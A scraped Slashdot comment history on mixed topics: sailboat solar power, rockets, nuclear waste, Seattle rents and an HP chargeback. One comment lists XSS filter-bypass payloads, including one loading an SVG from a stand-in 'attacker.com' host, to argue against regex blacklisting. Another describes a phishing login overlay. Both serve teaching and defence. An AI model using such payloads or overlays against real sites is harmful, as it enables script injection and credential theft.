Become a fan of Slashdot on Facebook

 



Forgot your password?
typodupeerror
×

Comment Re:Dropping NPAPI broke VMware consoles on Linux (Score 1) 107

Stupid and kludgey hack, but is it possible to solve this, at least to a degree, with Wine? Running either the Windows version of Flashplayer (in something like nspluginwrapper; I think I remember hearing about a way to do this though I never tried it) in a Linux browser, or running a full Windows browser (can Wine do that these days?) seems like it solves the problem. It introduces at least one problem, too, of course... but at least you *can* install updates instead of pinning to a version that will only get more outdated...

Comment Re:cost/price per kW hour comparison is nonsense (Score 1) 516

it's a near impossibility to site a solar panel on a sailboat that is entirely shade free for the entire length of the day

That's probably true of a reasonably-sized monohull, but Ocelot is a cat. Setup is 4x 120W Kyocera panels out over the dinghy davits (we have a lot of room back there and it doubles as a shade for the rear of the cockpit). You can read a bit more about them here (photos are outdated in general but we haven't modified the array since they were taken): http://svocelot.com/Ocelot/mod...

Having the panels so far aft and so high provided some protection from salt spray (enough that they don't need cleaning after any but the roughest passages, the kind where the whole boat needs a good rain rinse) and also kept them out of the line of most of our shadows. If the sun sets or rises directly in line with the panels and mast, then yes, we'll lose that panel, but this can often be remedied by running the boom out to one side (tied down with the jibe preventer) and letting the (relatively huge) sail protector swing the boat a few degrees away from pointing dead into the wind. By anywhere close to the hours when the sun is at full power, even our slightly-raked mast just isn't far enough back to shade the panels. (As a side note, it occurs to me that this may explain why the ramp up to full power took longer in the morning than evening; if the easterly winds meant the panels were occasionally shaded in the early morning, we'd only have 3/4 the nominal power production for that much insolation.)

As for angle, that definitely cost us some power - our panels are very much immobile, aside from changing the orientation of the entire boat - but I'm not actually sure how much. Even at 60 degrees off apex, which is pretty late in the day (assuming you're right under the sun's path, within +/- 60 degrees is 1/3 of the day, or 8 hours), you still get 50% of the insolation you would get at apex, atmospheric losses aside. That's certainly significant losses, and it drops off sharply after that, but the middle hours of the day are not severely affected.

By the way, nice site! I'll have to ask my folks if they ever ran into Animation coming up the Aus coast. Alternatively, do you know S/V Vamp? Good friends of ours. I'm sorry you posted as AC but I may ping you by email.

Comment Re:Regular expressions (Score 4, Interesting) 41

<img src="xss" onerror="alert('Nope!')" />
<iframe src="javascript:alert('That won't work.')"></iframe>
<object data="http://attacker.com/SvgCanContainScriptsAndCanUseTheParentObjectToAttackTheHostingPage.svg"></object>
<scri<scriptpt>alert("In fact, that kind of blacklisting is trivial to bypass.");</script>
<form action="javascript:alert('I once spent a month breaking a client's blacklist every time they updated it to block my last POC exploit, telling them all the while they had to use output encoding.');"><input type="submit" value="SPOILER" /></form>
<h1 onmouseover="alert('They eventually did, but oh man did they waste a lot of time trying variants on your suggestion first!')">REALLY BIG TEXT THAT YOUR MOUSE WILL GO OVER</h1>

People thinking like you do frequently leads to exactly this sort of problem, where something *supposedly* has XSS protection but in fact totally doesn't. With the possible exception of the nested script tags (if you're smart enough to run the filter repeatedly until no further hits occur, that'll be caught), every single one of these lines will execute arbitrary attacker-controlled JavaScript through the filter that you propose. I strongly recommend that you go read OWASP, especially the top 10, and in the meantime I hope you haven't written any in-production web applications...

Comment Re: Regular expressions (Score 1) 41

Content Security Policy (as you link) is indeed a "better" solution, in the technical sense; it's fine-grained, supports reporting, doesn't require servers to generate the random "hard_to_guess_string" needed to unlock the block, and (possibly most important) doesn't introduce a new un-XML-like construct into HTML. On the other hand, it tends to be more complicated to use it in real-world web applications, and it's so broad that a lot of browsers have either no support for it or have serious bugs in their support (did you know SVG can contain scripts, and sometimes CSP rules aren't applied properly there?).

Sandboxed iframes are simpler and basically do what you're asking for, except that the content is loaded from an external source or by writing it into the framed document (if same-origin); no need to worry about an attacker terminating the sandbox with a </iframe> tag because the sandboxed content isn't inline with the iframe itself. On the other hand, given how few people actually use them (despite pretty good browser support), the problem may be more a matter of web devs being bad at security than of web devs not having good security tools. Of course, we knew that already...

With all that said, I feel compelled to point out that *just* blocking XSS isn't enough anyhow. Without using a single scripted behavior (just HTML and some simple CSS) I can do things like create a lightbox that contains an HTML form saying "Your login session has expired. To ensure the security of your account, please log in again." with a username/password box, all themed accordingly with the site I'm attacking. Of course, the form POSTs to a web server that I (the attacker) control, but you don't know that. There's many other types of things you can do with the same restrictions. It's not enough to block scripts and plugins, you also have to prevent the attacker from simply taking over the page with their own content by layering it on top of the Z-order.

Comment Re:So it was a documentary (Score 1) 236

Source? Given the extreme cost of any wasted launch mass, I can't imagine they would operate every launch armed. That they have experimented with arming the capsules would be no surprise - I'd be shocked if they hadn't experimented with arming *some* of their spacecraft, even if only unmanned satellites - and they might even have launched armed craft, but I sincerely doubt they've done so on *every* launch.

Comment Re: Forget the Space Station (Score 1) 236

Not sure if serious, so I'll respond as if you are: nuclear waste does not "explode". The reason it's "waste" is because it no longer is even capable of maintaining a barely critical chain reaction in a moderated reactor core (neutron moderation - slowing them down to the point that they can be captured by other nuclei - is an important part of reactor operation). By itself, it's hot (decay heat) and radioactive (most of the half-lives are really long, so it doesn't actually release a ton of radiation per unit time but it will keep doing it for a long time), but that's about it. Now, it could be reprocessed to remove the low-grade stuff and refine out the actually really useful material. Only about 3% of the potential energy gets extracted from fuel in modern reactors before it drops to the point of being unable to maintain criticality, but with enough work you can purify it and make it usable again. You could, in fact, purify it even more to the point where it will go supercritical *without* a reactor core's moderation - this is one way to make bomb-grade material - but that's difficult, expensive, and never going to happen naturally.

Comment Re:What's it good for? (Score 1) 236

Oh, that's hardly true. As a random example, SpaceX's Merlin rockets (currently on their 4th revision, not counting the difference between atmospheric and vacuum variants) have the highest thrust-to-weight ratio of any production rocket engine, and they are a very recent design. The Space Shuttle Main Engines have a significantly higher specific impulse (thust*time per mass of fuel) but the fuel (hydrogen) is so low-density that you need a ton of it to get anywhere, and volume has its own costs (especially in atmosphere). The SSMEs also went through a number of revisions that increased their power and efficiency.

On the other hand, just because SpaceX is busy pushing the bounds of chemical rockets does not, by any means, mean we shouldn't be researching alternate thrust systems... and we are! Not as enthusiastically as I'd like to see, but it's happening. There's research into high-efficiency space drives, alternate launch systems, and even some research into drives which have the capability to make interstellar flight potentially feasible. None of these are close to production, and some of them (especially the ones involving nuclear-powered drives) have been mothballed for years or decades, but even if the test apparatus (for those projects which got so far) no longer exist, the designs and theories and mathematics do, and rocket scientists can and do continue building on those. I'd really like to see practical research start up again on these: http://en.wikipedia.org/wiki/N..., such as this project (which was building and testing actual hardware!) from the 70s: http://en.wikipedia.org/wiki/N...

Comment Re:Bullshit Stats. (Score 1) 496

Do you have any basis for this "hard time believing" or are you just going to ignore evidence in favor of your prejudices?

Don't get me wrong, I was *surprised* by the finding; I live in Seattle, and there are a large population of minorities (blacks, Native Americans, and Hispanics are still very rare in tech, but Indians and various Chinese/Korean/I-can't-tell-by-looking Asian ethnicities are common and I would have guessed they are becoming more common). On the other hand, the rents *are* going up - significantly faster than inflation, in most parts of the city - and that will tend to drive the not-in-tech ethnicities out because they can't command salaries commensurate with the rising cost of living. Seattle has plenty of suburbs (though our relatively awful public transit system means commuting from the suburbs is either very slow or requires a car) and it's not at all inconceivable that the city itself is getting whiter.

Speaking as a cis het white male from a family of above-median income, *you* appear to be (at a minimum) overreacting to the whole "white male guilt" meme, accusing people of "throwing race into the mix" and "stok[ing]" guilt even when citing simple facts. I guess if those facts don't agree with your prejudices then they must be the work of people out to make you feel guilty? Sucks to be you, I guess...

Also, of all the things to critique this study for, you chose them reporting the racial shift? There are far more valid critiques available.

Comment Re:Here we go again (Score 2) 496

Citation on the "legalized drugs" causing a problem? It's not like weed was hard to get before, you just had to buy it from criminals and were a criminal yourself for doing so. Now that this is no longer true, people have less, not more, incentive to commit crimes.

Outlawed firearms: you don't live anywhere near WA, do you? The state rate of concealed carry is quite high, especially for a "blue" state. People raise a fuss about it sometimes, but overall there's still a good number of guns around.

Comment Re:Battery capacity (Score 2) 56

This makes me wonder how well battery-optimized Sailfish is (and its apps are). I never owned an N900 or N9, or used one for long enough to get a really good feel for the battery life, but even when new, the N800 could not last even the waking hours of a day. That's assuming I used it similar to how I use the smartphone I got a couple years later (which would last well into a second day, and which - unlike the N800 - has a cellular radio chip).

Anyhow, my point is that most Maemo (N800 OS) apps were really poorly optimized for battery life - not surprisingly, all things considered - and the multitasking model of the OS just compounded the problem unless you were obsessive about closing stuff that you didn't need to have in the background. So, when I hear that a new tablet based on a descendant of Maemo has 2/3 the battery capacity of its competitors, I get concerned. There are mobile OSes that could probably get by with capacity like that, but Maemo was emphatically not one of them. On the other hand, six years is a long time; maybe they've fixed all that now and Sailfish *is* one of the more efficient OSes. If it has true, "desktop-style" multitasking, though, I doubt it.

Comment Re:The TripAdvisor URL (Score 1) 307

Thanks! Already commented or would mod you up.

Somehow, the place is ranked 858th of 894. Considering that their reviews (going back months) are mostly terrible - it's not just the recent wave of them, and the photos are damning - plus the recent wave of awful reviews in the wake of this news breaking, I have to wonder how there are 36 hotels that are ranked even *worse*...

Comment Re:Ask the credit card for a refund (Score 1) 307

Yep. One of the few times I issued a chargeback (HP laptop repair by manufacturer due to a non-functional video card; the service request explicitly did not include the hard drive but they took it out, (supposedly) destroyed it, and replaced it with an OEM imaged one; fortunately it was a dual-drive laptop and all my data was on the second drive which I'd removed prior to sending it in) the vendor (HP) tried to contest it. After an annoying phone call with my CC company (Visa through Wells Fargo, which I do not recommend) I faxed them the repair order (clearly stating not to touch the HDD), repair receipt (which clearly stated what they'd done to the HDD), and a printout of the IM transcript where their service agent had assured me they wouldn't touch the hard drive. Not *quite* the only time I've had to send a fax in the last ten years, but close.

Anyhow, got the charge for the service reversed, but I did have to prove they had failed to uphold their service agreement to the terms that I'd paid for.

Incidentally, this was after going through numerous complaints with the service center itself (where they used the laughable argument of an analogy to car repair. I had recently had a significant amount of car repair, which by law includes a very detailed statement of what things are and are not to be replaced, itemized costs, and a stipulation that all replaced parts must be available for return to the owner (i.e. no destroying them without the owner explicitly asking you to). I also filed a report with the BBB. This is all from back in 2008 though, and the laptop actually still works so I have no other significant complaint about HP.

Comment Re:cost/price per kW hour comparison is nonsense (Score 3, Informative) 516

Speaking as somebody who has spent year living on a sailboat where electricity was entirely provided by solar:

Even within a few miles of the equator, at local noon, a good rain squall will drop PV production to under 20% of its normal amount at that time. Later (or earlier) in the day it can easily drop all the way to effective zero - the charge controller eats a bit - until the sky clears. Of course, on the tropical ocean, "until the sky clears" is usually not that long. We (well, "they" now; my parents still live aboard but I do not) can run for a couple days (if fully charged) just living off the battery bank, though that would drop its charge lower than we like to let it go. On a really rainy day we might only get about 1/4 the normal production; if that keeps up for three days or so we'll run the engine for an hour to juice the batteries up.

As for winter, the biggest problem is not the angle of the sun (that is *a* problem, even if you tilt the panels, because of atmospheric losses... but it's not a huge problem) but instead is the length of the day. You might get 80% of summer noon on a sunny winter noon in some places (I doubt it would be true up here in the Pacific Northwet, and no, that's not a typo), but the boat has never been anywhere that *has* a "winter" so I can't speak from experience. However, on an average tropical Caribbean day, I measured meaningful power from 7:30 AM to 5:30 PM (10 hours total), with peak output around 1PM. That's only ten hours of electricity generation, and the vast majority of it occurred between 9:30 AM and 4 PM, for a period of only 6.5 hours (call it 2/3 of the day) where the panels produced more than 50% of their typical mid-day maximum. In Seattle in the middle of winter, we don't even get close to 10 hours of daylight; I wouldn't be surprised if we didn't get more than 6.5 hours of usable light at all. So, 2/3 as much time, multiply by 4/5 for lost brightness even at midday, and you're looking at barely over half the power per day in winter that you get from peak summer brightness. Take into account the fact that tropical days are shorter than summer days, and it looks even worse for a comparison of winter vs. summer.

Slashdot Top Deals

To the systems programmer, users and applications serve only to provide a test load.

Working...